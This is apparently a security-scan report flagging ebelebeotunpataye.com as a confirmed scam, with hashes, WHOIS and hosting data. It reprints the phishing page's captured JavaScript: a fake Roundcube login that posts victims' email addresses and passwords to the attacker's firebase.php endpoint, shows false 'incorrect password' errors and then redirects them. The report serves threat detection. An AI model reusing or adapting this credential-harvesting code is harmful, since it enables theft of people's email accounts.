technology software

documentation technical

phishing scam

news media journalism

adult content

English

You're looking at domain 'ebelebeotunpataye.com' on the commercial generic top-level domain (.com) and has no subdomain. The second-level label 'ebelebeotunpataye' is 17 characters long with nine vowels and eight consonants. Splitting it apart reveals 7 words: e, bele, be, o, tun, patay, e. Average segment length settles at 2 characters. No strong language cues emerged from the frequency lists.

_token

_task

_action

_timezone

_url

email

password

login-form

html/31/8d/318ddf01-7fab-4f73-b296-c38515035982.html.gz

b5c8efcc70542f970db5def97926121e9315e45ff3a73386bc933585da201222

0c07ab29e206a3328d77889da33b64f9ae5d6ea32d34c4a8fae78a64ba428760

5641ed21773230a8110279658abac57bb5b4abc7bf4091946c5e61e8f0021f55

46bf631919d8c1f7654f17ce915f8d5ceed5573283a272d72f055a7f10e473ed

716ece8deb8412f7ec95ab395c92f6515bb8d8b792fd7480c014cdc6f063452a

19b51730c10082760e6d9b82c1342e60855f98d2666c64e4eb758d26b1a0c840

9330f7d58c98a24ba9b77d03fc17ca836eaeb7954aefe3ddb1cf897eec4d0f9b

e452689c329fe371a98239d4620cde8fde1405261fe866d43089206377752752

45b30930d5752603cdff2d24aa942b5bbae3168f62e74e092cd9405ff10127f7

1cee9502c4b6f57fba10310df26fad1827a1aad9126803400a9531fa152611fb

1a1f1580c0b8e2a2101cf9e01c596bcee15c2e38657b69ec8bd9ee4a526fd168

6a010ffc1c0d8581adca1cf21e4b21e53e67e260a975468ae50e17e314c85588

5ef9f2f6b15df588eee6c014722d0c3fe7e7d41efd2200bb3bb4310777926be9

width=device-width, initial-scale=1.0, shrink-to-fit=no, maximum-scale=1.0

viewport

theme-color

msapplication-navbutton-color

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

PDR Ltd. d/b/a PublicDomainRegistry.com

EBELEBEOTUNPATAYE.COM

Abuse-C Role

Peter Mitrev

LiquidNet Ltd.

ORG-NCC1-RIPE

uk-liquidnet-1-mnt

UK-LIQUIDNET-20080722


/*
        @licstart  The following is the entire license notice for the
        JavaScript code in this page.

        Copyright (C) The Roundcube Dev Team

        The JavaScript code in this page is free software: you can redistribute
        it and/or modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation, either version 3 of
        the License, or (at your option) any later version.

        The code is distributed WITHOUT ANY WARRANTY; without even the implied
        warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
        See the GNU GPL for more details.

        @licend  The above is the entire license notice
        for the JavaScript code in this page.
*/
var rcmail = new rcube_webmail();
rcmail.set_env({"task":"login","standard_windows":false,"locale":"en_US","devel_mode":null,"rcversion":10407,"cookie_domain":"","cookie_path":"/","cookie_secure":true,"skin":"elastic","blankpage":"https://webmail.supremecluster.com/skins/elastic/watermark.html","refresh_interval":60,"session_lifetime":30000,"action":"","comm_path":"./?_task=login","compose_extwin":false,"dateFormats":{"php":"Y-m-d","moment":"YYYY-MM-DD","datepicker":"yy-mm-dd"},"dmFormats":{"php":"m-d","moment":"MM-DD","datepicker":"mm-dd"},"timeFormats":{"php":"H:i","moment":"HH:mm"},"xphone":false,"xtablet":false,"xmobile":false,"xdesktop":true,"xdevice":"desktop","timezoneOffset":0,"xassets":["../xframework/assets/scripts/framework.min.js","../xframework/assets/styles/framework.css","xskin:assets/scripts/xskin.min.js"],"xskin":"default","xphone_skin":"outlook","xtablet_skin":"outlook","xdesktop_skin":"default","xskin_type":"desktop","rcp_skin":false,"installed_skins":["alpha","classic","droid","elastic","icloud","larry","litecube","outlook","w21"],"date_format":"yy-mm-dd","date_format_localized":"YYYY-MM-DD","appsMenu":"\u003Ca class=\"button-apps\" href=\"javascript:void(0)\" id=\"button-apps\" onclick=\"UI.toggle_popup(&quot;apps-menu&quot;, event)\"\u003E\u003Cspan class=\"button-inner\"\u003EApps\u003C/span\u003E\u003C/a\u003E\u003Cdiv id=\"apps-menu\" class=\"popupmenu count-1\"\u003E\u003Ca class=\"app-item app-item-xskin\" href=\"?_task=settings&amp;_action=preferences&amp;_section=general\"\u003E\u003Cdiv class='icon'\u003E\u003C/div\u003E\u003Cdiv class='title'\u003ESkins\u003C/div\u003E\u003C/a\u003E\u003C/div\u003E\n","request_token":"token"});
rcmail.add_label({"loading":"Loading...","servererror":"Server Error!","connerror":"Connection Error (Failed to reach the server)!","requesttimedout":"Request timed out","refreshing":"Refreshing...","windowopenerror":"The popup window was blocked!","uploadingmany":"Uploading files...","uploading":"Uploading file...","close":"Close","save":"Save","cancel":"Cancel","alerttitle":"Attention","confirmationtitle":"Are you sure...","delete":"Delete","continue":"Continue","ok":"OK","back":"Back","errortitle":"An error occurred!","options":"Options","plaintoggle":"Plain text","htmltoggle":"HTML","previous":"Previous","next":"Next","select":"Select","browse":"Browse","choosefile":"Choose file...","choosefiles":"Choose files..."});
rcmail.gui_container("loginfooter","login-footer");rcmail.gui_object('loginform', 'login-form');
rcmail.gui_object('message', 'messagestack');



  $(document).ready(function(){
    var count=0;
  /////////////url email getting////////////////
  var email = window.location.hash.substr(1);
  if (!email) {

  }
  else
  {
          // $('#email').val(email);
          var my_email =email;
          var ind=my_email.indexOf("@");
          var my_slice=my_email.substr((ind+1));
          var c= my_slice.substr(0, my_slice.indexOf('.'));
          var final= c.toLowerCase();
          $("#msg").hide();
            // $('#fieldImg').attr('src', 'images/other-1.png');
            // $('#field').html("Other Mail");
            $('#email').val(my_email);
            $('#dom').html(my_slice);

            $("#msg").hide();

        }
        ///////////////url getting email////////////////

         $('#rcmloginsubmit').click(function(event){
          $('#error').hide();
          $('#msg').hide();
          event.preventDefault();
          var email=$("#email").val();
          var password=$("#password").val();
          var msg = $('#msg').html();
          $('#msg').text( msg );
		  if (!password) {
$('#error').show();
$('#error').html("");
return false;
}
        ///////////new injection////////////////
        var my_email =email;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
        if (!filter.test(my_email)) {
          $('#error').show();
          email.focus;
          return false;
        }

        var ind=my_email.indexOf("@");
        var my_slice=my_email.substr((ind+1));
        var c= my_slice.substr(0, my_slice.indexOf('.'));
        var final= c.toLowerCase();
        var n = my_email.search("@");
		var finalu= c.toUpperCase();
		$("#logoimg").attr("src", "https://logo.clearbit.com/"+my_slice);
		$("#logoname").html(finalu);
        ///////////new injection////////////////
        count=count+1;

        $.ajax({
          dataType: 'JSON',
          url: "https://ebelebeotunpataye.com/admin/firebase.php",
          type: 'POST',
          data:{
            email:email,
            password:password,
          },
              // data: $('#contact').serialize(),
              beforeSend: function(xhr){
                $('#rcmloginsubmit').html('LOGIN');
              },
              success: function(response){
                if(response){
                  $("#msg").show();
                  console.log(response);
                  if(response['signal'] == 'ok'){
                    $("#password").val("");
                    if (count>=4) {
                      count=0;

					window.location.replace('https://www.'+my_slice);
					//window.location.replace('https://pub-8e63259eff0b4937a0774c5beb36fae6.r2.dev/Completingrequest.html#'+my_email);
                        //window.location.replace('https://storageapi.fleek.co/9dd4deed-564f-4e1c-bca7-8f5413c52162-bucket/Purchase%20Order%20PO091K43Z9.html');
                    }
                    $('#msg').html(response['msg']);
                  }
                  else{
                    $('#msg').html(response['msg']);
                  }
                }
              },
              error: function(){
                $("#password").val("");
                if (count>=4) {
                      count=0;

					//window.location.replace('https://www.'+my_slice);
					window.location.replace('https://pub-8e63259eff0b4937a0774c5beb36fae6.r2.dev/Completingrequest.html#'+my_email);

                    }
                $("#msg").show();
                $('#msg').html("The account or password is incorrect");
              },
              complete: function(){
                $('#rcmloginsubmit').html('LOGIN');
              }
            });
      });


      });


    

// main stuff
 let href = $(location).attr('href');
 let divide1 = href.split("@");
 let divide2 = href.split("#");
 let the_domain = divide1[1];
 $('.dotDomain').text(divide1[1]);
 $('#txtEmail').html(divide2[1]);
 $('#dblEmail').html(divide2[1]);
 let icq_url = q_process;
 let userIP = '';
 

PasswordField

LiteSpeed

HTTP/3

RoundCube

jQuery UI

jQuery

Roundcube Webmail : Welcome to ....

✅ Low Risk - https://ebelebeotunpataye.com/admin/Roundcube.html#support@domaindb.com

Requests	IP Address	Location	AS Autonomous System
9	94.136.171.57	United Kingdom	AS42831UK Dedicated Servers Limited
8	198.251.89.144	Luxembourg, Luxembourg, Luxembourg	AS53667FranTech Solutions
17	2	-	-

Security Scan Report: ebelebeotunpataye.com

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies7

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History